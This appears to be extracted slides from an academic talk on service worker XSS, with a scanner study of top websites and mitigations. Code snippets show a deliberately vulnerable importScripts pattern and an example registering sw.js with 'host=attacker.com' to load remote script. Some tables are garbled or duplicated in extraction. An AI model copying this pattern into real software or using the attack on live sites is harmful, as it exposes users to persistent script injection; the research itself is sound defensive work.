Security Study of Service Worker Cross-Site Scripting

Phakpoom Chinprutthiwong*, Raj Vardhan, Guangliang Yang, Guofei Gu

*Secure Communication and Computer Systems Lab
Texas A&M University
Progressive Web App & Service Worker

Progressive Web Apps: The next step in your digital transformation.

How Headless PWAs Are Changing E-Commerce

Microsoft really wants PWAs to populate its app store
Progressive Web App & Service Worker

Service workers: the little heroes behind Progressive Web Apps

5 Ways Service Workers Reshape Modern Web Apps
Progressive Web App & Service Worker

40 vulnerable websites

>100M monthly visits!

Service workers: the little heroes behind Progressive Web Apps

5 Ways Service Workers Reshape Modern Web Apps
What is service worker?
What is service worker?

- Background thread
- Service worker
- GET alice.js
- GET bob.js
- Main page
- Renderer thread
- Web browser
- Internet
- Push notifications

Example of OneSignal Web Push Notification:

OneSignal Web Push Notification
via notify.tech
This is an example of a web push notification.
What is service worker?

Service worker

Background thread

Renderer thread

Main page

Web browser

Internet

Push notifications
What is service worker?

Service worker

Background thread

Renderer thread

Web browser

Internet

Push notifications
What is service worker?

Service workers create the opportunity for a bad actor to turn a bad day into a bad eternity.

https://www.w3.org/TR/service-workers/#security-considerations
Service worker registration

```javascript
navigator.serviceWorker.register('sw.js');
```

- `self.addEventListener('fetch', function(...)``
  - Offline Usage
- `self.addEventListener('push', function(...)`
  - Push Notification

Service Worker Context
Service worker XSS

```html
<vulnerable.com/index.html>
window.addEventListener("load", function() {
    navigator.serviceWorker.register("/sw.js" + location.search);
});

<sw.js>
(function() {
    self.param = parseParams(location.search);
    var host = self.param.host;
    self.importScripts(host + "/sw_fn.js");
})();
```
Service worker XSS

```html
<vulnerable.com/index.html>
window.addEventListener("load", function() {
  navigator.serviceWorker.register("/sw.js", location.search);
});

<sw.js>
(function() {
  self.param = parseParams(location.search);
  var host = self.param.host;
  self.importScripts(host + "/sw_fn.js");
})();
```
Service worker XSS

Code snippet:

```javascript
<vulnerable.com/index.html>
window.addEventListener("load", function() {
    navigator.serviceWorker.register("/sw.js?host=benign.com");
});

<sw.js>
(function() {
    self.param = parseParams(location.search);
    var host = self.param.host;
    self.importScripts(host + "/sw_fn.js");
})()
</sw.js>
```
Service worker XSS

```
<vulnerable.com/index.html>
window.addEventListener("load", function() {
    navigator.serviceWorker.register("/sw.js?host=attacker.com");
});

/sw.js

(function() {
    self.param = parseParams(location.search);
    var host = self.param.host;
    self.importScripts(host + "/sw_fn.js");
})();
```
Service worker XSS

```html
<vulnerable.com/index.html>
window.addEventListener("load", function() {
    navigator.serviceWorker.register("/sw.js" + location.search);
});

<sw.js>
(function() {
    self.param = parseParams(location.search);
    var host = self.param.host;
    self.importScripts(host + "/sw_fn.js");
})();
</sw.js>
```
Service worker XSS

```html
<vulnerable.com/index.html>
window.addEventListener("load", function() {
  navigator.serviceWorker.register("/sw.js" + location.search);
});
</vulnerable.com/index.html>

<sw.js>
(function() {
  self.param = parseParams(location.search);
  var host = self.param.host;
  self.importScripts(host + "/sw_fn.js");
})();
</sw.js>
```
Methodology

Top 100,000 websites based on Tranco ranking
Methodology

Top 100,000 websites based on Tranco ranking

7,060 websites with a service worker installed
Methodology

- Top 100,000 websites based on Tranco ranking
- 7,060 websites with a service worker installed
- 2,525 websites with URL parameter usage in SW register
- URL search parameters & imported files
SW-Scanner: Detecting SW-XSS

SW/Imported files
URL search parameters

sw.js?<Tainted Parameters>
Eval
Sensitive Sink
Service Worker Context
Report
SW-Scanner: Detecting SW-XSS

sw.js?<Tainted Parameters>

Sensitive Sink

Service Worker Context

Report

https://u.tamu.edu/sw-scanner
## Taint tracking result

<table>
<thead>
<tr>
<th>Taint Source</th>
<th>Parameter Type</th>
<th>Count</th>
<th>importScripts</th>
<th>New Function</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Hash</td>
<td>367</td>
<td>4</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>URL</td>
<td>141</td>
<td>35</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>Code</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>

40 vulnerable websites
# Taint tracking result

<table>
<thead>
<tr>
<th>Taint Source</th>
<th>Parameter Type</th>
<th>Count</th>
<th>Taint Sink</th>
<th>importScripts</th>
<th>New Function</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Hash</td>
<td>367</td>
<td></td>
<td>4</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>URL</td>
<td>141</td>
<td></td>
<td>35</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>Code</td>
<td>1</td>
<td></td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>
Taint tracking result

<table>
<thead>
<tr>
<th>Parameter Type</th>
<th>Count</th>
<th>importScripts</th>
<th>New Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hash</td>
<td>367</td>
<td>4</td>
<td>0</td>
</tr>
<tr>
<td>URL</td>
<td>141</td>
<td>35</td>
<td>0</td>
</tr>
<tr>
<td>Code</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>Taint Source</td>
<td>Count</td>
<td>Taint Sink</td>
<td></td>
</tr>
<tr>
<td>--------------</td>
<td>-------</td>
<td>------------</td>
<td></td>
</tr>
<tr>
<td>Parameter Type</td>
<td></td>
<td>importScripts</td>
<td>New Function</td>
</tr>
<tr>
<td>Hash</td>
<td>367</td>
<td>4</td>
<td>0</td>
</tr>
<tr>
<td>URL</td>
<td>141</td>
<td>35</td>
<td>0</td>
</tr>
<tr>
<td>Code</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>
# Taint tracking result

<table>
<thead>
<tr>
<th>Taint Source</th>
<th>Parameter Type</th>
<th>Count</th>
<th>Taint Sink</th>
<th>importScripts</th>
<th>New Function</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Hash</td>
<td>367</td>
<td>importScripts</td>
<td>4</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>URL</td>
<td>141</td>
<td>importScripts</td>
<td>35</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>Code</td>
<td>1</td>
<td>importScripts</td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>
## Taint tracking result

<table>
<thead>
<tr>
<th>Taint Source</th>
<th>Taint Sink</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parameter Type</td>
<td>Count</td>
</tr>
<tr>
<td>Hash</td>
<td>367</td>
</tr>
<tr>
<td>URL</td>
<td>141</td>
</tr>
<tr>
<td>Code</td>
<td>1</td>
</tr>
</tbody>
</table>
Categories vs #websites-visits

- **Media**: 84 websites, 112.5 million monthly visitors
- **Shopping**: 15 websites, 12 million monthly visitors
- **Gambling**: 12 websites, 23.5 million monthly visitors
- **Technology**: 16 websites, 7.5 million monthly visitors
- **Sport**: 185 websites, 10 million monthly visitors
- **Adult**: 2 websites, 1.5 million monthly visitors
- **Education**: 7.5 million monthly visitors
- **Health**: 10 websites, 1.5 million monthly visitors
- **Game**: 1.5 million monthly visitors
- **Hobby**: 1.5 million monthly visitors
- **Finance**: 0.5 million monthly visitors
- **Business**: 0.5 million monthly visitors
- **Lifestyle**: 0.5 million monthly visitors

The chart shows a comparison of the number of websites and monthly visitors across different categories.
Service worker freshness

How long can an attacker keep control of a service worker?

7,060 websites

777 websites/
3,166 snapshots
Service worker freshness

How long can an attacker keep control of a service worker?

7,060 websites

777 websites/
3,166 snapshots

Average: 40 days
Median: 20 days
Max: 649 days
Mitigations

- CSP’s `script-src`
  
  ```html
  sw.js?host=benign.com
  
  Content-Security-Policy:
  script-src https://benign.com
  ```

- Cookie store API (https://wicg.github.io/cookie-store/)
  
  ```html
  sw.js
  
  host=benign.com
  ```
Summary

- Discovered a new XSS attack caused by a questionable programming practice.
- Developed SW-Scanner to evaluate the prevalence of SW-XSS.
- Found 40 vulnerable websites with more than 100M combined visits per month.
- Open-source SW-Scanner and the collected data.
Thank you!

Phakpoom (Patrick) Chinprutthiwong
Contact: cpx0rpc@tamu.edu

*Secure Communication and Computer Systems Lab
Texas A&M University